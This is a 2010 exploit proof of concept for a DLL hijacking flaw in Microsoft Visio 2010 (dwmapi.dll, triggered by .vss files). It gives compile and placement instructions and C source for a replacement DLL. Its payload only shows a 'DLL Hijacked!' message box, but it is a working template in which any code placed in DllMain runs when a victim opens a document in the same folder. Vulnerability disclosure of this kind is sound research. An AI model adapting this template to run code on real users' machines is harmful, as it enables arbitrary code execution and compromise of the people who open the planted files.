/*

 Microsoft Visio 2010 v14.0.4514.1004 (dwmapi.dll) DLL Hijacking Exploit

 Vendor: Microsoft Corp.
 Product Web Page: http://www.microsoft.com
 Affected Version: 14.0.4514.1004 MSO (14.0.4536.1000)

 Summary: Microsoft Visio is a diagramming program for Microsoft Windows
 that uses vector graphics to create diagrams.

 Desc: MS Visio 2010 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local
 level. The vulnerable extension is .vss thru dwmapi.dll library.

 ----
 gcc -shared -o dwmapi.dll msvisio.c

 Compile and rename to dwmapi.dll, create a file test.vss and put both
 files in same dir and execute.
 ----

 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 26.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

  switch (fdwReason)
  {
    case DLL_PROCESS_ATTACH:
    dll_mll();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
    break;
  }

  return TRUE;
}

int dll_mll()
{
  MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}